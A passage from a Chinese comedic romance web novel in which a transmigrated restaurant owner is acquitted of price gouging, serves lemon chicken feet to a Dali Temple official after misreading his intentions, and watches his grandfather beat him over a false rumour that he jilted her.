主审官久没动静,身边的人看不下去了,拍了拍他的肩膀,主审官这才回过神,猛得拍响惊堂木,“肃静!”
有些尴尬!大堂本就安静!
沈秋吟想,要不要配合他一下?
算了算了!这是公堂!还是要心存敬畏!
主审官也感到了一丝尴尬,但作为一个身经百战,什么都见过的主审官自然不怕,依旧自得道:“沈氏,有人匿名状告你哄抬物价,扰乱市场,你可有辩解?”
“有,”她道,“自然有!民女没有哄抬物价,都是遵循市场规则营生。”
“那告你的人诉状上写着,一道小龙虾,你要价一百四十两,此事可为真?”
啊这?
那一百四十两可不是她要收的,是她那便宜哥执意要给的,不过这中间还有隐情。
她一脸坚定道:“假的!”
她将那晚的事娓娓道来,而后说:“我没收他一百四十两银子。是他主动要花一百四十银子买我的小龙虾。但我知道这样不对,最后只收了三百文,剩下的都还给他了。您若不信,可传他来问话!”
那天晚上,李保德拿了一百四十两银子执意要给她。
小龙虾这玩意儿随处可见,花这么多钱来本就不值。再加上她也不是贪财之人,更加不会收这钱,便只拿了市场价三百文,就将剩下的钱还给了李保德。
李保德不愿意,她又道:“你若真想花钱,不若拿去捐给城外的乞丐,他们很需要这笔钱。”
他听了,觉得有理,也就没再硬塞,收了回去。
主审官听了她的辩解,对一旁站着的捕快道:“带李保德上堂!”
不一会儿,李保德上了堂,沈秋吟惊叹,这么快就来了!不合常理呀!难道早早就将他抓了?
李保德同她跪在一起,抱拳禀明:“大人,沈掌柜所言属实,她没收我一百四十两钱!只收了三百文,而后我将剩下的钱都给了城外的乞丐。”
他说完,立马有人去核实。等了些许时候,核实的人回来,俯身在主审官耳旁说了片刻,主审官翻了诉状,又问:“这人还在诉状上写道,你故意营销,吸引人流,两百两卖一道小龙虾,此事作合解释?”
都不待他说话,站在堂外的看客吼道:“大人!沈掌柜没收,那是我硬塞给她的!不过,她也没收。”
那人说这最后一句话时,还颇为失望。
沈秋吟回头一看,是昨天她在楼里追着跑的那位大哥。她投去一个感激的眼神,世上还是好人多呀!
他话音一落,门外人纷纷应声:“是!掌柜的没收!我们昨日就在楼里就餐,吃完后,她只收了三百文。至于二百两银子,那是我们看不惯李保德,不想被他比下去,这才砸钱的!”
李保德哼了一声,就你们,还不是被比下去了!你叫她沈掌柜,我可叫她妹子!
他们的话,让主审官一愣。头一次见这种情况,硬塞钱还不要。奇哉奇哉!
不过,这也说明此案不需再审,便已清楚,沈秋吟没犯罪,也没刻意哄抬物价。她这种情况,要真论起来也只能说是财运通达,有人非要送钱来。
主审官又拍一下惊堂木,“啪”地一声,众人闭上了嘴,他宣布:“诉状不实,沈氏无罪!”
沈秋吟笑道:“多谢青天大老爷!”
主审官走了,他们也出了公堂。
下台阶时,沈秋吟问:“哥,你咋来这么快?难道是听到妹子有难,屁颠屁颠来了?”
李保德揉了揉眼睛,
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打了个瞌睡,一脸哀怨道:“是我压根就没回。”
“怎么回事?”沈秋吟眨巴眨巴眼,她直觉这事儿不一般!
李保德叹了口气:“此事说来话长!”
“那就长话短说!”
这事,要从昨晚讲起。
他提了沈秋吟给的食盒往家走,走到半路迎面而来一个人,跑到他身边就说:“李兄,你这盒里装的什么东西?好香,简直让人飘飘欲仙。”
这人李保德认识,从前一起喝酒的朋友,是个老鬄,鼻子最灵。他想着盒中之物,味道非凡,怕他生出歹心,便将食盒抱在怀里,警惕地看着他:“啥也没有!”
“别这么小气嘛!”他吸了吸鼻子,“我都闻到了。大家都是兄弟,分享分享!”
那人作势要抢。
李保德身子一侧,怕他要动粗,大吼道:“抢劫呀!抢劫呀!”
讲到这里,李保德没好气道:“我本想吓唬吓唬他,怎知大理寺的人就在附近巡逻,听了声音,便赶了过来,将我二人带到堂里审了一宿!最后还把一盒田螺没收了!”
说到这里,他几欲落泪。
沈秋吟却哈哈大笑,颇为有感道:“咱也算难兄难妹了!”
“可不是嘛!”他长长地叹了一口气。
李保德一宿没睡,困了起来,就先她一步离开了大理寺。
沈秋吟对大理寺稀奇,多看了两眼才离开。
出门口时,看到树下栓着一匹大黑马,她忽然想到姜泊清,也不知他今日在不在。
系统道:“宿主,别想了!姜大人去城外抓犯人去了好几天了!”
“我是想他么?我是忽然想到!”
系统:“额……”这不都是想?
沈秋吟回了百膳楼,众人围了上去,七嘴八舌问怎么回事。
她将事情始末一一讲来,众人皆道:“咱们就知道,掌柜有福气,万事难不倒!”
她笑了笑,对说这话的人说:“你嘴可真甜!爱了爱了!”
说笑归说笑,但找到告状的人也很重要。
楼里的人都知晓过程,又多年处在一块,人品都没话说,自然不会告密,那极有可能是外面的食楼眼红,心生嫉妒告得状。若不将那人抓出来,只怕以后还会生事端。
可是,百膳楼所在的这条街食楼众多,究竟是哪一家告得状,还真不好说。
众人没有头绪。
章丘想了想道:“我前几天看到了东风楼的小二在我们的门前溜了溜,多半是他!”
“他有做出什么奇怪得举动么?”沈秋吟问。
总不能因为别人在门口溜了溜就断定是别人。凡事还是要讲个证据的。
章丘点了点头:“有,他拿了笔像在写着什么!”
写着什么的话,多半就是东风楼搞鬼了。可沈秋吟总觉得不对劲儿,怎么个不对劲儿,她又细说不上来。
小二们七嘴八舌说着,沈秋吟被吵得想不出问题,便让他们都散了。
她坐在椅子上,细细回想,忽然一拍大腿,叫道:“狗系统!你给我滚出来!”
她就说哪里不对劲儿!系统不对劲儿!
它今天话太多了,多得不正常!就像做贼心虚一样。
系统“滋滋滋”响了响,正经开口:“宿主,怎么了?”
她肯定道:“是不是你搞鬼。”
“不是!”
“你觉得我信?”沈秋吟一副想掐死它的样子,“昨天晚上,我睡着时,隐隐约约听到你在说话,坦白从宽,抗拒从严哈!老实交代!”
系统嘿嘿笑了笑,开口道:“宿主,我就是……察觉你消极避事,说了个大事不妙……”
“啊!我就知道是你!”
他们在神思里你追我赶,斗个天昏地黑。
这时候,跑堂地小二又慌慌忙忙道:“掌柜的,大事不妙,大理寺又来人了!”
啊这!还有完没完呀!
11. 柠檬鸡爪
走了一波又来一波,她究竟是做了什么伤天害理的事儿呀!要这样对她。
沈秋吟垂头丧气往前堂走,系统立马表忠心道:“宿主,我发誓,这次不是我!”
她冷哼一声,“我不信!”
“我发誓!”系统“滋滋”响了四下。
沈秋吟仍道:“你发五我也不信!”
系统没说话,默默“滋滋”了五下。
额……
她感觉头顶有乌鸦飞过,嘎嘎地响,但现在不是看乌鸦的时候。
沈秋吟来到前堂,一眼就看到了人潮涌动的大街上,百膳楼的门前,那个穿墨色衣服的公子。
这公子单手背后,身姿挺拔,如一棵挺拔的松。他宽肩乍腰,一看就是穿衣显瘦,脱衣有肉的类型,她不禁眼冒星光。
美男!帅哥!好看!
有那么一刻,她春心萌动,百花齐放。
她理了理衣裳想要上前搭讪,拖地的小二见她来,跑到她身边说:“掌柜的,就是外头站着的那位大理寺的大人等你。”
什么!大理寺的!
她满是笑容的脸僵住。
哦莫,当官的,再帅也惹不起!
沈秋吟焉了气,将理好的衣裳扯了扯显得随意些,不情不愿地走了上去。
“大人找我有何事?主审官已经判了我无罪!”
她以为他也是来问她“哄抬市价,扰乱市场”的事儿。
那人听见她说话,转过头来。
她的眼眸蓦然撞进了这张脸,有一瞬间呆住。
眉浓如墨,鼻挺似山,脸庞刚硬,英气十足。
此时有风来,吹动他的衣袍翻飞,人来人往里,他是这样好看。
她的目光很深,深得能装下他整个人。
她的目光又很浅,浅得只能装上他这张脸。
只是,如果这人不是冷面阎王姜泊清就好了。
她的春心再度梦碎,当官的惹不起,姜泊清更惹不起。
整个濮阳城的人都知道,他是个煞神,冷酷无情,专抓宵小。
沈秋吟呆了片刻,回过神来,问道:“姜大人,你找我有什么事儿?”
姜泊清见她,没来由地脸烫,手掌心也冒了一层薄薄的汗,心跳更是快了些许,噗通噗通。
这,这是怎么了?莫非病了?
他久没反应,一双眼迷离,直勾勾地盯着她看,她被盯得不自在,又轻声唤了她一句姜大人。
他终于回过了神,轻咳两声,强装镇定说:“我听闻你被大理寺抓了,来看看你。”
按理说,他不过与她在桃花村一面之缘而已,犯不着亲自来看。
只是,他牵着马回大理寺,听见同僚说起此事时,心尖颤了颤,便栓好马绳,径自走到百膳楼,对小二说要见她。
他只是正常的说话,可沈秋吟却感到一丝尴尬,想钻地洞般地笑了笑:“谢谢姜大人好意,我没事了。主审官已经查明,那人是诬告。”
“嗯。没事就好。”
他知道没事,他只是……他也不知道还能说些什么。
一时安静,人来人往,长街喧嚣,显得他们格格不入。
沈秋吟不喜欢这样的氛围,尬笑一声问道:“姜大人还有什么事么?”
没事,她就回去睡觉了。
她打了个瞌睡!
“有!”他忙道。
说完这话,他愣了愣……他只是不想让她走,可现在找个什么理由呢?
沈秋吟看着他,等待他的下文。
姜泊清的脑子飞速运转,有了!
他说:“我想买些香辣田螺!”
“嗯?”沈秋吟眨巴眨巴眼,似是没有听清他说的什么。
为了让这理由更圆满,姜泊清将来龙去脉说了个清楚:“今早归城,回大理寺时见同僚们在吃东西。我上前一看,是香辣田螺。同僚给了我几个,我尝了一下,甚是好吃。一问是百膳楼做的,便想找你买点,不知方便不方便?”
同僚吃田螺是真,给他是假!那帮子人,为了那一盒田螺都快打起来了,更别说分给他了。
不过,他远远闻着味儿,确实是香。
这话落在沈秋吟的耳里却变了性质!
大理寺的官吃田螺,难道是收的李保德的?不是吧!当官的这么黑?连田螺都不放过。
沈秋吟觉得自己知道了什么了不得的真相!
自古当官的都黑,特别是封建王朝。
她瞥了一眼姜泊清,内心忐忑,昨晚那盆田螺,是从装小龙虾的框里挑出来的,剩下的一点都已经被她给了李保德,楼里已无田螺可做。
可如果她实话告诉姜泊清,他会不会把她抓回大理寺,而且关在又脏又臭,不见光,还有老鼠的大牢里呀!
毕竟大理寺的官可是连一盒田螺都不放过的人,他们的内心是那么黑,说不定还要谋财害命。
沈秋吟越想越害怕,不禁冷颤起来。
想她一个芳华女子,才来这世界一年未到,连城里的风光都未曾看完,难道就要在牢里度过余生了吗?
不!她不要!
她一想到未来的苦楚,不禁湿润了眼眶,泪水不停地打转。
姜泊清头一见到一个人的脸上可以有这么多表情,愣了愣。又瞧见她哭了样子,更是丈二和尚摸不着头脑,不明所以。
他只是想买个田螺。她怎么还要哭了呀!
他正准备开口说话,却见沈秋吟扑了过来,抓住他的衣袖,一阵嚎啕:“姜大人,你不要抓我进大牢呀,我不想在牢里度过余生。我还没看遍世间繁华,瞧过貌胜潘安的美男子呢!求求你,放过我!”
她此话一出,路过的百姓围了过来。
姜泊清被他突如其来的动作吓了一瞬,反应过来后,连忙道:“沈掌柜……”
沈秋吟不给他说话的机会,接着道:“姜大人呀!你可怜可怜我吧!我没了母亲,没了父亲,只剩这座食楼和食楼里的小伙伴了!我若进去了,这食楼该怎么办呀!它还怎么活呀!”
她说着说着,竟然呜咽起来,十分伤心。
众人瞪大了眼睛,这又是闹哪一出?
百膳楼里的小二们扔了手上的活了,站在门槛后围观,正吃着饭的客人也丢了筷子趴在门后看。
一时起,众人以他们为中心,围成了一个圆。
站在后头的百姓瞧不见热闹,拍了拍前头百姓的肩,问:“怎么回事?”
那人回头说:“姜大人要抓沈掌柜去大理寺。”
问话的人点点头,明白了。
后面看不见的百姓又拍了拍前人的肩,“发生了什么?”
怎知这人是个耳背,只看清楚了前人的口型,自以为判断对了道:“姜大人要抓沈掌柜当小妾。”
什么!
那人瞪大了眼睛,一会儿后道:“传下去!姜大人渣了沈掌柜!”
“啥?姜大人是渣男!”
“啊!姜大人不是男人!”
“哇!姜大人是薄情汉,和沈掌柜在一起后劈腿了另一位美人!好劲爆!”
消息在众人的嘴里越传越离谱,如此也引得越来越多的人前来围观。
沈秋吟还在哀嚎,姜泊清抓住她喘气的空隙道:“你在说啥?我不抓你进大牢,我只是想买一份香辣田螺。”
若她实在不舍,他就不找这个理由多留她一会儿了。
姜泊清有些懊恼。
沈秋吟带着哭腔回道:“可是楼里已经没有田螺了!做不出田螺你不就得带我回大理寺么!你们大理寺的官连盒田螺都污了,我若做不出来,你岂不是得要了我的小命!”
她怎么这么命苦呀!
姜泊清听得云里雾里,不明所以。
这姑娘说个什么呀!他们大理寺的官什么时候成那种人了?那田螺虽然是剿的犯人的,但将它们放烂了也是可惜,所以他们才吃的,为的是不浪费。咋成了贪污了?
沈秋吟见他皱着眉头,以为他要动怒,忙抓起他的衣袖抹了一把眼泪,泪眼婆娑道:“姜大人,打个商量行吗?田螺没有了,我给你换成别的,别抓我进牢,可以不!”
“可以!可以!”为了结束这场令他糊涂的闹剧,姜泊清立马答应。<
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p>不光如此,他还拉着沈秋吟就往百膳楼走,“快去准备吧!我就在这里等着!”
“好勒!好勒!”沈秋吟谄媚地应着,“姜大人稍等,我去去就来!去去就来!”
沈秋吟地步伐堪称神速,脸上也一改愁容,有了笑意。反正,只要不抓她进牢里,什么都好说!
百姓见没闹剧可看,纷纷散了,可大理寺少卿姜泊清渣男的名头却渐渐传远。
姜泊清坐在靠窗的位置,等着沈秋吟回来。
路过的小二时不时看上他一眼,而后偷偷地交流着:“这是个贪官,他要抓咱们掌柜进大牢!”
这小二一看就是站前排的,将事情的起因经过结果,看了个明白。
凑热闹时,站得远的小二回道:“啊!长得一脸正直居然是个贪官,我的妈呀!真是人不可貌相。”
姜泊清只觉有人对他指指点点,可他回头看时,却什么人也没有,大家都在专心做自己的事儿。
因着那两位小二的交流,谣言也在楼里传了开来:“听说了嘛!那姜大人是个负心汉,渣了我们沈掌柜!而掌柜是个恋爱脑,今儿个在大街上抱着他的衣袖,求他不要离开。不光如此,还把这男的带到楼里,如今正在给他做吃食呢!”
“啊!是真的吗?掌柜的瞧着不是这样的人,怎么会精虫上脑,为了个男人要死要活的。”
“当然是真的,这可是他们当时在门槛处亲儿听到的,不会有假!”
“那掌柜的也太可怜了!”
小二们一声声哀叹,看沈秋吟的目光也怜悯起来!
他们可怜的掌柜呀!
沈秋吟被他们看得头皮发麻,却没时间追究缘由,她只想快点打发楼里那位煞神离开!
他多待一秒钟,她就多了一秒进牢里的危险,只有让他离开,她才能安心!
系统汗颜:“宿主,你是不是想多了呀?”
那姜大人只是想买个香辣田螺,也不知它这宿主怎么脑补的,竟然联想到不给姜大人田螺,姜大人就要抓她进大牢。
“没有!我才没想多!”沈秋吟道。
姜泊清话里话外的意思就是,她若是不能给他田螺,他就要抓她进牢里!呜呜呜,她不想!
不过,幸好姜泊清好说话,没有田螺他也愿意!
如此,姑且算他是个好官吧!
系统:“额……”
宿主脑子有问题,和系统无关!
系统消失在她脑海里,她端着一个黑色坛子,小心翼翼地走到前堂。
姜泊清见到这乌漆麻黑的坛子,心中生起了一股不好的预感,他想到了姜老爷子那一手烂菜!不会……不会……,这坛子里装的也是烂菜吧!
他里慌张极了,打起了退堂鼓,说道:“我忽然想起大理寺里还有事,先……”
沈秋吟一听,笑吟吟的脸立马垮了下来,红着眼睛道:“姜大人,你不会是要回去找官兵抓我吧……”
“我不是!”他只是害怕被荼毒而已!
沈秋吟不信:“你就是!你连东西都不吃了!肯定是回去叫官兵一道来抓我!”
哭!她真是个小可怜!怎么就惹上了大理寺了呀!她的后半生……好凄惨呀!
姜泊清张嘴欲言,可话到嘴边,又打上了结,他不知该怎么说。说实话吧,怕沈秋吟伤心,不说实话吧,他又解释不清楚他不是去找官兵抓她!
苍天呀!救命呀!让这姑娘的脑子清醒清醒吧!
沈秋吟越想,眼眶越红,最后竟然又哭了出来,姜泊清心一急,道:“我吃!我吃了再走!”
“好勒!”沈秋吟跟变脸似的又换了表情。
她利索地打开坛子,舀出一堆米白米白的爪子放到他面前,热情道:“尝尝吧,姜大人!这东西可好吃了。”
姜泊清闻到一股浓烈的酸味,像食物腐烂了的味道。他一想到这东西可能就是坏的,便止不住干呕,好在他强压了下去,没有表现出来。
沈秋吟为他递上筷子,姜泊清颤着手接过,想着死也死个明白,便问道:“这是什么?”
她笑着说:“柠檬鸡爪!”
12. 不孝子!
柠檬鸡爪?这名字他从未听过,这东西他也从未吃过!直觉告诉他,这玩意儿怪怪的,不是什么好东西,倒像极了黑暗料理!
不会跟老爷子做的菜有得一拼吧?
姜泊清的心在颤抖,捏着筷子迟迟不肯下手。
他,他……不想死呀!
沈秋吟坐在他对面,双手撑着脸,满是希冀地看着他。
她敢说这东西只要吃上了第一筷,保管停不下筷子,谁来了都是如此。
姜泊清看了她一眼,见这姑娘甚是期待,终是不忍她失望,心一横,手一动,飞速夹了一小块放进嘴里。
他害怕这东西荼毒他的味蕾,不敢重口咬,只轻轻咬了一点点,没尝出啥味儿。
“怎么样?”她问道。
柠檬鸡爪可是夏日去暑最好的美味,没有人能抵挡得住它的诱惑。她不信姜泊清吃了这个还会想香辣田螺!
他回答不上来她的话,想着死马当活马医,已经到这一步了,便将嘴里的一小块全咬了。
出乎意料,想象中的难以下咽、腐臭味儿并没有出现,相反,酸辣味十分刺激,一点点从他的舌尖往舌面蔓延。
好辣!
好开胃!
根本停不下来。
他闭眼感受嘴里残留下的味道。浸泡过鸡爪滑嫩软糯,稍稍一抿就能吐出细碎的骨头,再加上这酸酸辣辣的汤汁,就像在品一场充满酸涩与红火的人生。
这就是一道美味的魔力吗?
姜泊清睁开眼,沈秋吟的面容撞进他的眼眸中,姑娘眉眼弯弯,面带笑意,因笑着,她的双眸窄了些许。
她在等他的答案。
姜泊清没说话,拿起筷子又夹了一块而后发出满足的声音,不停说:“好吃!好吃!”
恍若空旷漆黑的天空突然炸开了一朵绚丽的烟花,沈秋吟悬着的心一下子放松了下来,连那紧绷着的神经也软了。
她拍了拍自己的胸腹,给自己顺气,只要他觉得好吃,那她小命就算保住了!
姜泊清吃鸡爪的速度很快,不一会儿桌上的骨头就堆成了一座小山。
鸡爪越吃越辣,即使有酸味综合,辣味也十分突出。
他被辣得呼吸加重,眼眶通红,不住地吸鼻子,可速度却未慢下,边吃边问:“沈掌柜,这鸡爪是怎么做的?”
“这个,说来就麻烦了,”沈秋吟答道,“不过姜大人想听,我也不嫌麻烦!”
毕竟嘛,当官的是大爷,肯定要好好伺候才行。
她端着手,来回踱着小步子,将柠檬鸡爪的做法娓娓道来。
首先,选取上好的鸡爪剪去它的指甲,用清水洗净放在一旁备用。
其次,烧一锅水,丢入葱姜蒜,水开后放鸡爪焯水,等鸡爪从白色变成米黄色后便可捞出。
之后,将焯熟的鸡爪放在冰块上冷上半个时辰。这时候,就开始准备调料。
葱姜蒜肯定少不了,先往坛里放,糖醋生抽也少不了,继续往坛里加。辣椒是关键,使劲儿加,柠檬水是灵魂,不要命的倒,热油是滋养品,多多益善!
最后,便是将冰上的鸡爪倒入坛中,封上坛盖,使出麒麟臂不停地摇晃,务必要让每一个鸡爪都裹上浓郁的汤汁!如此,一道柠檬鸡爪便算做好了。
沈秋吟说完,姜泊清不小心嚼碎了一块辣椒,辣得不停吐舌头,沈秋吟怕他辣坏嗓子,赶忙为他倒了杯水。
他接过,大口大口喝下,总算缓解了些许辣意,不过仍是吐着重气说:“确实麻烦!”
光那步骤就听得他有些头大,他还是只管吃现成的好了!想他堂堂一个大理寺少卿,月奉还算可观,吃几回鸡爪还是吃得起的。
沈秋吟见碗中的鸡爪要见底了,又为他添了些许。
“美味!美味!”若不是怕沈秋吟烦,他都想做一篇大赋来赞美这鸡爪的美妙。
沈秋吟笑了笑,不以为意道:“这才那到哪儿呀!姜大人,我跟你说,更好吃的是用这汤汁儿泡一碗冷面。那滋味……”
绝了!
她闭着眼睛,舔了一下唇,似在回味,“每一根面条都裹着汤汁,酸辣的口感激发着味蕾,让人欲罢不能,仿佛游荡在天上,连灵魂都离了躯体……”
随着她的声音,姜泊清真的觉得自己灵魂离体,徜徉在空中。
“不过……”他蓦然下了云端,睁开眼看着她。
她嘿嘿一笑:“我到是愿意为大人准备一份冷面,不过,大人吃完后可就不准抓我去牢里!”
抓牢里?这是什么说法?他本就没想过要抓她呀!
他不说话,沈秋吟就当他同意了,忙去厨房准备,生怕晚了一步,他就会反悔似的。
她端着冷面出来的那刻,姜泊清露出了星星眼,嗷嗷待哺的样子像阿拉斯加雪橇犬。
她走过去,都不等她动手,姜泊清就将碗抢了过去,把里头的面全到进了满是汤汁儿的碗中。
他拿着筷子,迅速搅拌了几下,待每根面上都挂了汤汁儿,便急切切地夹了一大筷,往嘴里塞。
酸辣汤汁儿拌着面条在嘴里流淌,口腔充斥着辣味儿,而酸味在胃里横冲直撞,两者结合的那刻却是如此美妙,仿佛高山流水,清音伴人上青天。
这样的美味,是姜泊清从未有过的体验。他忽而想起了自己从前的遭遇,夹着面的手也顿了一顿。
犹记得跟了老爷子后,那一盘盘看似光鲜亮丽的菜背后,却是难以忍受的折磨。辣不是辣,酸不是酸,甜不是甜,苦也不是苦。那是一片荒漠,荒漠里开不出绿洲,没有一滴水,他是将死之人。
他为此逃避过,迷茫过,无措过,甚至想过自己亲自上手,可老爷子不给机会,总是将他支离。
姜雁,就是个厨霸,只要他在,厨房就是他的天下,谁也别想插手。
为此,他祈求过,伪装过,伤心过,甚至逃走过,但统统没用。该难来的饭菜,还是会如约而至,该难吃的饭菜,还是一如既往的难吃。
那非人的折磨之下,他能活下来,纯粹是老天开眼。
如今忽而吃到这般美味,他竟然情不自禁地落下泪来。
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呜呜呜!原来世间还是有美味的,而他从前却遭受着非人的待遇。他的亲爷爷没将他毒死,真是他福大命大。
难道,这就是大难不死,必有后福吗?
冷面阎王落泪!沈秋吟一呆,眨巴眨巴眼,以为自己看错了。她揉了揉眼,定睛一看,真有一滴晶莹剔透的泪顺着他的脸颊滑过,滴落在地。
他这是怎么了?好好的咋哭了?
沈秋吟不明所以,干愣愣地看着他,不知道该怎么办。
系统这时跳了出来:“他就是想到了从前自己被姜雁荼毒,一时吃到好吃的,忍不住落泪。你安慰安慰就行!”
系统一说,沈秋吟反应过来,忙将自己怀里的手帕递给他,又倒了一杯水安慰道:“姜大人,好吃咱就多吃点,咱别哭好不好!”
听了这话,姜泊清却哭得更厉害了,沈秋吟一时手足无措。
系统:“你这不是往他伤口撒盐么?他又想起那些伤心事了。”
“那怎么办?你支支招。”
可不能再让他哭了,不然别人会以为她欺负朝廷命官,到时候,她有十个头都不够砍。
系统咳嗽两声,清了清嗓,正准备说话。
它刚“滋”一声,却听得一阵声响,是棍子摩擦地面发出的声音。
这时,只见一个老头拿着一根手腕粗的木棍慢慢走了进来,他面色铁青,眸光阴沉,周身充斥着杀伐之意。一时风云变色,平地之上,枯枝烂叶渐渐旋转,形成了一个漩涡。
风起叶落,吹得楼前挂着的卷帘碰撞,“啪啦啪啦”响。而他洗得泛白的衣袍翻飞,在空中无规则地画线,一步一步向姜泊清走去。
系统预感大事不妙,“滋滋”掉了线。
三十六计,走为上策,古人诚不欺我。
“宿主,你先顶着,我去去再来!”
额……
不带这样的!
那老头走近了,光影忽然变白,他身后的黑云加快了游走,沈秋吟挡住光,仔细一看,竟然是姜雁。
姜泊清的爷爷,他怎么来了?
这架势,不简单呀!像是要杀人。
楼里有谁惹到他了?
她怕出事,赶忙迎了上去,叫了一姜爷爷,姜雁却没停住脚步,与她擦身而过,令她抱臂缩了缩身子。
冷,真冷!鸡皮疙瘩都起来了。
一股死亡之气正缓缓席卷百膳楼,众人不自觉停了手上的动作,齐刷刷地看向姜雁,以及他中的长棍。
姜泊清本还在抹眼泪,但瞥见姜雁的那刻,他不自觉站了起来,四目相对间,他不明所以,但下意识想逃。
这,这老头来者不善,必有大变!
门外的百姓再次围拢,场面一时安静,连针落地的声音都能听见。
这,这又是闹哪出?
她正想着,忽然听到一声冲破天际的惊叫,思路被打断,回头只见姜雁提着棍子就往姜泊清身上打,边打边怒气冲天道:“老子打死你这个不孝子!”
啊!什么?姜泊清又挨打了!
13. 挨打了
一时风云涌动,悲风直扫八荒,枯枝落叶齐刷刷的往地上落,让人直呼这事儿不简单。
害怕场地不够大,让这老头发挥不开力,人群自觉往后退了三步。
只听一声尖叫,如一把弯刀划破了天际,又如听仙乐让人耳暂明,更如魔音,令人不禁寒颤。
这哀痛声,不是一般人叫得出来的,这该是有多疼呀!
这老头,不是一般人!这打法,可谓是流畅自如,一看就是没少打。
众人虽心惊,但好奇心实在太重,便又上前了一步,伸长了头往楼里看。
下一秒,只见姜泊清躲闪不及,一棍子落在了他的臀部,他双手捂着挨打的地方,在楼里四处逃窜,像一只窜天猴,只是不能腾云驾雾,逃不出姜雁的五指山。
笑话!孙悟空都不出如来佛的手。这亲孙子还能逃出他爷爷的手掌心吗?
那铁定是不能的。
楼里的客人害怕城门失火,殃及池鱼,纷纷丢了筷子跑到门外看戏。
沈秋吟作为一楼掌柜,发生此等闹剧,她肯定是要去阻止的。但他看老爷子这架势,想了想,还是算了。
姜泊清,你忍忍,忍忍就没事了。谁小时候没被这么打过呀!
可妈妈,这老爷子太凶残了,她想回家!
下一刻,又听得一声尖叫,恍若脚蹬谢公屐,直上青云梯,简直惨不忍睹,闻者伤心,见者流泪呀!
有认识姜泊清的人道:“这不是大理寺少卿么?咋被一个老头追着打?”
这也太没出息了吧!
有人回道:“什么老头!那是姜雁,曾经的边关英雄,姜泊清的爷爷。放尊重点!”
姜雁可是我朝英雄,值得世人尊敬。
那人自觉侮辱了圣人,忙打了自己几个耳巴子,以示歉意,而后问道:“这是怎么一会事呢?”
不等人回答,姜雁气势如虹地质问声便传到了每个百姓的耳朵里。
他说:“你个兔崽崽,有你爹的前车之鉴还不够吗?你母亲的悲剧你难道忘了?如今你是翅膀长硬了是吧,居然还敢做出辜负人家姑娘的事情!”
姜雁越说越气,下手也更重了,一棍子落在姜泊清背上,直将衣裳都打破了。
姜泊清疼得眼泪都出来了,却还没搞懂状况,简直是一头雾水,如盲人摸象,摸不着头脑。
姜雁简直恨铁不成钢。
遥想当年,姜泊清那混账爹宠妾灭妻,发妻在冬日坠湖而死,姜雁怒极,要将他送官,砍他的头。
此事一出,瞬间在濮阳城里闹大,最后闹至皇宫,无奈证据不足,皇帝也无可奈何,便寻了个其他由头,收了他的爵位,贬了他的官,让他回府思过,更让他那小妾终生不准出府。
可姜雁心里有气,为死去的儿媳不甘,直接与那不孝儿子断绝了父子关系。而后接姜泊清出府,在桃花村度日。
他为避免悲剧再次发生,千叮咛、万嘱咐,让姜泊清要做正直的人,特别是在男女感情之上,切勿辜负姑娘,定要有始有终,做个有责任心的人。
怎知!怎知!这混小子还是做出了此等事。
儿媳呀!儿媳,我这当爹的对不起你!没把儿子教好,也没把孙子教好!我百年归去后,还有何脸面见你呀!
姜雁红了眼眶,一双眼死死盯着姜泊清,“混小子,知错了吗?”
他知什么错?爷爷呀!爷爷,他都不知事情究竟因何而起。
他自然知道他娘的悲剧离场,是因为他那该死的爹造成的。可老爷子说他辜负姑娘,这事儿他没做过,如何认错!
他正要开口答话,老爷子又来一棍,他吃疼一声,额角的汗都冒了出来。
姜雁这是下死手打呀!
众人不敢看,纷纷偏了头。
本以为是一场戏剧,怎知会是这般热血的场面。
木棍炒肉,只有试过的人才知道有多刺激。
姜泊清害怕自己真被他打死,边跑边道:“老爷子,你话说清楚点,我辜负谁家姑娘了?”
他姜泊清行得端,坐得直,向来与姑娘保持距离,绝不招惹。今日唯一之错,便是找了个借口留下了沈秋吟。
姜雁一听,面色又沉了沉,“好小子,你还不承认是吧!”
“我没做过,我承认什么?”
“你说呢!”姜雁道,“这濮阳城都传遍了,人人都在说你渣了沈丫头,还能有假?”
沈丫头,沈秋吟?
他对她有礼有节,何曾渣过?
抛开在桃花村那次见面,如今才是他们第二次见面,他怎么可能做出这样的事。
一下子,目光统统聚焦在沈秋吟身上。
沈秋吟一愣,这关她什么事儿?哪来的谣言说姜泊清渣了她?
他们见面的次数都没超过三次,这谣言怎么传得出来?
这可是真真的冤枉了呀!
众人眼睛一亮,明白了,姜泊清挨打原是因为渣了沈掌柜。
啧啧啧,堂堂一个大理寺少卿,抓人判案,定人生死的命官,居然是这样的人,令人咋舌。
刚才还同情他的人如今知晓了缘由,立马倒戈,更是往地上吐口水,啊呸,渣男,活该这个下场!
负心汉最好是浸猪笼。
老爷子再打重点!
姜泊清总算搞清楚了事情的起因经过,直呼冤枉,他道:“爷爷你听我说!”
姜雁正在气头上,不肯静下心听他说话,姜泊清为了躲避棍棒,断断续续道:“我没有渣沈掌柜。”
他是清白的,沈秋吟也是清白的,他们之间什么事儿也没有。
“没渣她,人家姑娘会抱着你的衣袖,在大街上哭?”
他犹记得他背着背篓刚入城,人人都在说沈秋吟哭得是多么伤心欲绝。这姑娘这般好,上得厅堂,下得了厨房,却被自己这孙子渣了。而她又是孤女,以后该怎么活呀!
这混小子,不能就这么轻易放过。
姜泊清又挨了一棍子,他捂着被打的地方,继续躲闪,“爷爷!亲爷爷!我也不知道她为什么哭!”
“那时候,我听见大理寺抓了她,便来百膳楼瞧瞧她有事与否。后头,想起同僚吃的香辣田螺,便想向她买上些许。怎知我一提,她呆了片刻后,就开始嚎啕大哭起来
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。哭得像生离死别一样。还说什么我要抓她进牢里,可我真的就单纯的想买个香辣田螺而已!”
他真的什么都没做,却遭此横祸!苍天呀,你无眼!爷爷呀,你真是我亲爷爷!下手毫不手软。
听了这话,沈秋吟的脑子有一瞬间空白,她眨巴眨巴眼。
他说什么?
他只是单纯想买个香辣田螺。
他没想过要把她抓进牢里。
所以,她都想了些什么?
她以为姜泊清是贪官,不给东西,他就要抓她坐牢,而后嚎啕大哭,还用他的袖子擦鼻涕,抹眼泪。
不光如此,正因为她哭,引得众人围观,传出了流言,害得姜雁为这事将姜泊清一阵暴打,衣服都给打破了。
天呐!她都做了些什么事儿呀!
简直不是人。
沈秋吟的脸一阵红,一阵白,真想找个地洞钻进去,从前不见人。
系统又出来了:“宝,人家早跟你说了让你别多想,结果你不信!现在好了吧,全濮阳的人都知道你脑补过多了!不光如此,姜大人还为此挨了一顿打,这债,你可怎么还得完。”
“你快别说了……”沈秋吟快哭了。
